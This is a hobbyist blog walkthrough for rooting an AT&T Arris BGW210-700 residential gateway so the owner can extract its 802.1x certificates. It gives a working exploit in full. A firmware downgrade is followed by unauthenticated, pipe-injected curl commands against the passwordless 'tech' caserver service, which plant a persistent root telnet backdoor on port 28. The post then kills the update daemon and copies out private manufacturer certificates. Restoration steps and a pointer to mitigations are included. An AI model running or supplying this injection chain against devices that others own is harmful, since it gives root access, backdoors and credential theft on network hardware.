While setting up our AT&T fiber internet, I needed a way of getting the 802.1x certificates off the Arris BGW210-700 residential gateway that AT&T requires all fiber customers to use. I’ve been working on some networking projects that AT&Ts gateway hasn’t been playing nicely with, so I wanted to figure out if I could get around their hardware. I didn’t feel like tearing open and soldering around inside a device I don’t technically own, so a few months ago I started looking for a non-invasive way to extract my certs.
A few weeks into my AT&T service, I’d accidentally found a REST-like webserver that stays open on the ARRIS. I also knew that the business versions of the ARRIS gateways have default root access via the management interface. I doubted AT&T would have rewritten totally different firmware for two VERY similar devices – so I knew there has to be a path to consumer root access. Lucky for us, the process of gaining root access to an Arris BGW210-700 really is astonishingly easy – I just wasn’t the one who finally found the pathway in.
About a month ago, Christopher Wierts (and possibly others? Who knows, there’s apparently a lot of conflict) published some instructions on reddit for an awesome exploit process. The vector was based on some amazing work done previously by NoMotion, combined with notes from Jordan Earls. (Who’s company website also has my new favorite WebGL background animation). Wierts’ method uses AT&T’s unsecured HTTPS management service to injecting an inetd config enabling root telnet. Christopher, you saved me so much time that I literally bought my first gold on reddit to thank you. I also owe you a beer or three.
Once everyone’s exploits were public, I jumped back into the project. I didn’t want anything to go sideways when it came to rooting the BGW210-700. I also wanted to create this writeup for the folks with less experience with Linux. Therefore, I decided to do everything by hand and document the process.
This post largely follows Wiertz’s instructions from reddit/pastebin. In case those threads/resources ever vanishes (like the pfatt repository last month) I have duplicated the original files here as well.This post has essentially the same instructions. I’ve made them a bit more readable, explained in more detail, and with modifications based on my workflow. But first, lets touch on legality for a second:
With that addressed, we can get started. The primary goal here is to enable a telnet backdoor on port 28. We’ll use the passwordless “tech” user to send commands via an https server that AT&T/Arris included for remote management. In other words, we’re using the “caserver” feature for its intended purpose – we just probably aren’t the intended end user.
Downgrading the BGW210-700’s Firmware
First, I downgraded my BGW210-700’s firmware to a version that didn’t include patches for NoMotion’s vulnerabilities. I used firmware v1.0.29, which is available from this MEGA mirror or from my copy below.
I’ve also added backups of most firmware versions at the bottom of this post – just in case.
Installing an older firmware on the device was (thankfully) quick and easy. I started by connecting to the Residential Gateway in my browser (via the default IP 192.168.1.254). We can manage the current device firmware via the Diagnostics -> Update tab, which requires authentication using your Access Code. At this point, I also added the my code to notepad – we’ll need throughout this process. Once authenticated, I chose my desired firmware file and clicked update:
The BGW210-700 then started its installation process – this took about 5 minutes on my device. Once the software version on the update page showed the correct version, I was ready to start playing around.
I opened the gateway’s web management page again, but this time went to the Home Network -> IP Allocation tab:
Wiertz’s instructions say to assigned a static IP address to your client device using this page. At fist, I assumed this was so I’m not relying on DHCP. However, that’s not the only reason. After some experimentation, it seems that the authentication process hinges on an IP address being assigned by the gateway. Don’t just assign a local static IP address – it doesn’t always work. Once the static address was assigned on the BGW210-700, I refreshed my PC’s DHCP lease to propogate the change:
ipconfig /release ipconfig /renew
With my static IP assigned and confirmed, I opened up my browser to Home Network -> IP Allocation once again. This time, I just left the browser window open and jumped into taking advantage of AT&Ts backdoor “caserver” service.
tl;dr || click here to skip the explanation of how/why things work and instead go straight to the rooting process explanation
BGW210-700 System Details
I wanted to add a section at the beginning with some stuff I learned once I actually gained root access. For firmware v1.0.29, the Arris is running Linux version 3.4.11-rt19, made using Buildroot 2011.11. There’s a decent library of installed binaries, many of which are courtesy of busybox (which can be upgraded easily). If you’re curious what’s already on the BGW210-700, here’s the bin and sbin directories, plus the modules in busybox:
The other resource for what might be possible is the open-source inclusion list that Arris has to provide per GPL/BSD. Its accessible on every gateway at http://192.168.1.254/cgi-bin/sysinfo.ha under “Open Source Licenses”. I’ve also made a copy of the v1.0 list and hosted it here for future reference.
We now have a good idea of what’s possible if we can run arbitrary commands on the Arris. Luckily, NoMotion‘s exploits found exactly that – an HTTPS service with no security and that runs commands as root. To summarize the method:
The “caserver” service, which uses basicauth (username:tech, no password) lives on the BGW210-700 at port 49955. We’ll connect over http1.1 for legacy compatability. We’ll also allow insecure SSL connections since the SSL key is probably not going to be valid on our network. We also need to add a few headers to our HTTPS requests to make the “caserver” service happy. First, the “User-Agent” header, which just need to not be empty. Second, the “Connection: Keep-Alive” header to ask the service not to time out.
Experiments in Code Injection
The POST data we send to the caserver service is how we’ll run random code. Each payload needs to contain an “appid” tag set to 001. The rest of the payload can either be a set_data or get_data command. Set_data calls are followed by a configuration change we want to make. Get_data calls contain the name of an object we want to retrieve information about from the device’s string database (SDB).
Experiment 1: cURL
I started by using cURL to send some test messages. If you’ve never used it before, cURL is a command line tool for client network connections. It lets you send communication over different protocols to devices on your network or the public internet. If you’re on an older machine, you can download cURL here. Otherwise, it’s built into Windows 10 and almost any Linux distro out of the box. You can check by opening up terminal/command line and running “curl google.com”. If you get back some HTML 301 stuff, you’re all set and can move forwards.
Actually getting the device to run your commands is really easy. I started with something obvious: trying to force a reboot. I sent a POST with “appid=001&set_data=reboot”, which gave me back this:
My BGW210-700 didn’t reboot, meaning something else processed my set_data inputs – specifically, the mv command. Lets try piping our command into the already-executing context, and hope no one thought to strip the pipe | character during read-in:
With the pipe set up and executing, the gateway immediately rebooted – success! This means we can run whatever commands we want as root via unauthenticated HTTPS POST requests.
Experiment 2: Postman
Gaining confidence, I swapped over to postman to see if the same results were possible in a friendlier UI. First I tried without piping characters, just to make sure we’d still get the same results:
Having established that things also work fine in Postman, I ran a reboot by adding piping, which worked flawlessly. It was time to actually work towards root access on the BGW210-700.
Planning for Telnet -> psh (and shell)
The method that Wiertz uses injects a new inetd service configuration into /var/etc.inetd.d. The configuration defines a root telnet connection to the network shell (nsh) over TCP on port 28. The nsh is a management shell found by earlz on the NVG510 that allows edits to the BGW210-700’s configuration. Check out his work for more details on whats possible directly in the NSH. Our first command will be:
echo 28telnet stream tcp nowait root /usr/sbin/telnetd -i -l /bin/nsh > /var/etc/inetd.d/telnet28
Lets break that down. Basically, we’re echoing a string into a new file at /var/etc/inetd.d/telnet28. Files within inted.d are automatically included in the inetd.conf file itself – meaning we can start our own root service. The first half is the actual inetd configuration for our new nsh/telnet service. Behind the scene’s, running this command will change your inetd.conf and inetd.d on the gateway to look like this:
Now that our configuration file is added, we need to make sure it persists. I’m not entirely sure about the PFS commands used in the next two lines. My best guess is that they persist the changes made in our first line via the physical device filesystem. Because the BGW210-700 is an embedded device, something needs to manage what gets written to flash storage and what doesn’t. I’m not sure why this isn’t done by remounting the filesystem like we’ll later use for cert copying. If any of y’all know more about pfs, I’m officially curious. For those wondering, the pfs arguments available are:
Regardless of what pfs is doing, the commands required are pretty simple. First, add the new file to pfs’s listof tracked files. Then, force a save and reboot the device:
pfs -a /var/etc/inetd.d/telnet28 pfs -s reboot
In theory, once the device reboots we’ll be able to start our telnet connection to the nsh service.
Code Injection via HTTPS (3 ways)
There are tons of ways you can communicate with an HTTPS service. Wiertz used cURL, I prefer Postman, you can even automate it completely with python. Before using whatever approach you choose, make sure you’re still connected to the static IP assigned earlier. In my experience, it also appears you need to be actively signed into the BGW210-700’s web interface. If you get authentication issues (401 errors), just change the static IP address you assigned. You can then refresh your DHCP, and sign back into the web console – this should fix the issue. Now, feel free to pick your poison:
Running with cURL (original method)
In your terminal/command prompt, run the following four lines of cURL commands:
curl -k -u tech -H "User-Agent: blah" -H "Connection:Keep-Alive" -d "appid=001&set_data=| echo 28telnet stream tcp nowait root /usr/sbin/telnetd -i -l /bin/nsh > /var/etc/inetd.d/telnet28|" -v --http1.1 https://192.168.1.254:49955/caserver curl -k -u tech -H "User-Agent: blah" -H "Connection:Keep-Alive" -d "appid=001&set_data=| pfs -a /var/etc/inetd.d/telnet28|" -v --http1.1 https://192.168.1.254:49955/caserver curl -k -u tech -H "User-Agent: blah" -H "Connection:Keep-Alive" -d "appid=001&set_data=| pfs -s|" -v --http1.1 https://192.168.1.254:49955/caserver curl -k -u tech -H "User-Agent: blah" -H "Connection:Keep-Alive" -d "appid=001&set_data=| reboot|" -v --http1.1 https://192.168.1.254:49955/caserver
Note: if you modified the IP address of your gateway, swap in the new IP in the above commands
Running from Postman (my method)
Here’s the public collection of Postman requests I used to root my BGW210-700. Open the collection and run the requests in order, ignoring the “Parse Errors”. Once you run the reboot request, make sure the gateway actually reboots, and you should be all set!
Note: You’ll notice that successful requests sometimes return a parsing error within Postman. For now, I’m ignoring the parsing errors because the process still works. I’m going to keep fiddling with the Postman requests to try and resolve this issue.
Running from Python (easiest method)
The fastest and (probably) most reliable way of rooting is using the Python script from this fork on Github. It’s designed for extracting certificate files for wpa_supplicant setups, but will still enable Telnet for other purposes. (However, using this script means that thhe telnet configuration will not persist after a device reboot)
You’ll need to have python3 installed on your machine. Then, just download the extract_mfg.py script from github. You can also use my copy below:
Extract the python script from the zip file, cd into the script’s directory and run it from your terminal with:
The script will handle almost everything for you, including a few warnings in critical parts. I didn’t see anything sketchy in the code, but again, YMMV whenever you’re not doing something yourself by hand.
Connecting to Telnet (and Disabling Auto-Updates)
With the gateway rebooted, I connected to the new telnet service using PuTTY. Port 28, with the username “admin”. The shell password was the same as the device access code used to log in to the web management interface. Once logged in, I used ! to elevate from the nsh shell to a root ssh shell, and the BGW210-700 was officially “rooted” at this point.
The auto-update daemon that keeps AT&Ts firmware current needs to be temporarily disabled. Otherwise, we’ll be wrestling to keep it from messing up any of the configuration changes we just made. First, I ran “top” to list all the running processes on the gateway. Then, I looked for the process ID (PID) of the udpsvd firmware updater:
I used “kill” to stop the process. This will stop it from running until the next time the device is power-cycled. In my case, the command was:
You’ll just need to replace 1080 with the process ID on your device..
Modifying the BGW210-700
Now that I had root access. I was able to make a few configuration changes that remove limits imposed by AT&T. These will vary from situation to situation – you’ll need to decide what you should change based on your circumstances. The following are a decent starting point , also directly copied from Christopher Wierts’ postbin:
## INCREASE CONNECTION NUMBER IN IP TABLES echo "15000 61000" > /proc/sys/net/ipv4/ip_local_port_range ## REDUCE TIME OUT TIME FOR CONNECTIONS echo "30" > /proc/sys/net/ipv4/tcp_fin_timeout ## TCP TW REUSE/RECYCLE ENABLE echo "1" > /proc/sys/net/ipv4/tcp_tw_recycle | echo "1" > /proc/sys/net/ipv4/tcp_tw_reuse ## MAX CONNECTIONS ON SOCKET echo "1024" > /proc/sys/net/core/somaxconn ## INCREASE NAT CONNECTIONS FROM DEFAULT 8192 to 30000 echo "30000" > /proc/sys/net/netfilter/nf_conntrack_max
If you’re going to use the BGW210-700 as your permanent router, there are some security holes you should probably plug. This is especially true if you host any infrastructure/servers on your fiber connection and need a firewall. Luckily NoMotion already wrote up self-mitigation measures for a very similar Arris product. Even if everything really has been patched in the newest AT&T firmware, its 100% worth reading through his work.
Upgrading to a Modern Busybox
As noted by Wiertz in his reddit post, the busybox installation on the Arris absolutely fails under load/prolonged usage. He recommends bumping up to a more modern ARM build from the busybox download site. This process is also a good way of getting used to the filesystem on the Arris.
First, we need to remount filesystem as read/write. Now that we’re read/write enabled, we get another red warning box:
First, we’ll remount the root UBIFS (unsorted block image file system) with both read and write access:
mount -o remount,rw /dev/ubi0 /
Next, we need to wget a new binary from busybox. Wiertz’s guide doesn’t put the binary into the bin folder or wrap the download address with quotes. This sometimes results in an issue where wget leaves behind an XML error sheet instead of our binary. I’ve modified the wget line to download the right file into where it belongs by adding a –directory-prefix to /bin/. We also turn off certificate checking with –no-check-certificate to prevent any weird hostname/self-signing errors. I’m relatively sure specifying TLSv1 is superfluous, but hey, verbose is good when you’re root:
wget --directory-prefix /bin/ --no-check-certificate --secure-protocol=TLSv1 "https://busybox.net/downloads/binaries/1.26.2-defconfig-multiarch/busybox-armv4tl"
Once everything’s in place, we can use a chmod to make the new binaries executable. Then, we test to make sure everything worked by asking for the date via the newer busybox install:
chmod +x /bin/busybox-armv4tl busybox-armv4tl date
Extracting Public 802.1x Certificates from the BGW210-700
The first set of files I wanted to grab off my BGW210-700 was the public certificates. These are the same for everyone, so I added a download of my set below. Even though some are already available online, I wanted to extract my own set and I’d recommend doing the same. It’s less risky than grabbing stuff off the web, and the process is simple.
The following method is from the bypassrg github page – thanks y’all! First, I connected to the root shell and made sure my public certificates were present in /etc/rootcert. I then made a Tar archive with the contents of the certificates folder in /tmp/. Tar archives are like portable directories – think zip file, without the compression. The following line made my new tar archive:
tar cf /tmp/certs.tar /etc/rootcert/
I got a notice that tar was “removing leading ‘/’ from member names”. This turned out to be fine. Just let it happen, and verify that the certs.tar file is present in the /tmp/ directory. I all I needed now was to move the archive somewhere accessible. The easiest way is to let the BGW210-700’s own webserver serve us the file. This is done by moving the .tar file into the AT&T management webserver’s image directory:
cp certs.tar /www/att/images
Now, downloading the certificates to my device was as easy as visiting http://192.168.1.254/images/certs.tar in a browser. The archive will automatically download to your client machine. Here’s a copy of my public certificates, just in case you need them:
Extracting Private 802.1x Certificates from the BGW210-700
The last step I took in my deep dive was extracting the private 802.1X certificates from the BGW210-700. I wanted to use them as part of my wpa_supplicant implementation on my Unifi Security Gateway. This process breaks down into a few steps copied from Christopher Wierts’ postbin:
First, since I had power cycled at this point, I again remounted the root filesystem as readable/writeable:
mount -o remount,rw /dev/ubi0
To access the to mount the JFFS2 image where the manufacturer certificates live to a location accessible from my shell. For this, I needed to use the flash memory access subsystem for memory technology devices (mtd).
mount mtd:mfg -t jffs2 /mfg
The only thing in /mfg is mfg.dat – which is the file we wanted to download. I again used the build-in webserver to host the mfg.dat file. By copying mfg.dat into the images webserver directory, the BGW210-700 can serve the file to us via http:
cp /mfg/mfg.dat /www/att/images
I was then able to see the file at http://192.168.1.254/images/mfg.dat. To download it, right-click and save the page to the client machine:
Firmware Restoration (and Clean Slate)
Before performing any root, its good to know the process for undoing the damage. There are two main steps: removing our injected telnet configuration, and re-upgrading our firmware.
If you installed software or made changes beyond the telnet connection, you’re on your own. Always be careful with rm and root. That said, elminating our injected telnet config is pretty easy. The removal process is just the reverse of the installation. Wiertz recommended just deleting the telnet28 file from inetd.d. However, PFS is still a mystery to me. To be safe, I wanted to make sure I removed the telnet28 listing there first (and forced a save):
pfs -r /var/etc/inetd.d/telnet28 pfs -s
The last step is removing the telnet28 file we created at the beginning of this process, then rebooting the BGW210-700:
rm /var/etc/inetd.d/telnet28 reboot
Once the reboot finishes, you should be back to a stock (if outdated) Residential Gateway. The last step is updating to a recent firmware either by hand or by allowing AT&T’s update daemon to handle it.
If you want to let AT&T handle it: plug the gateway into the ONT, make sure its online, and wait. It may take a few hours (or days) to fully update.
If you need something faster, reverting back to a more modern firmware by hand requires a stepped approach. You have to upgrade by a few versions at a time. Once your firmware is current enough, you can jump to the most recent release.
The pattern required is apparently: 1.0.29 -> 1.5.12 -> 2.7.1. If that doesn’t work, the other interim firmware are available through Wierts’ Google Drive. I also have copies of most firmware available below:
Hopefully this helped you fix the issues with your BGW210-700 or prepare to configure a wpa_supplicant system. I at least hope it taught you something. I wanted to help less savvy AT&T Fiber folks get their money’s worth, even if they aren’t comfortable in Linuxland. See, it really isn’t that bad!
If you have any questions (or a correction/recommendation) please leave a comment – I’ll reply as soon as I can. Thanks again to everyone who figured bits and pieces of this out before me – and thanks for reading!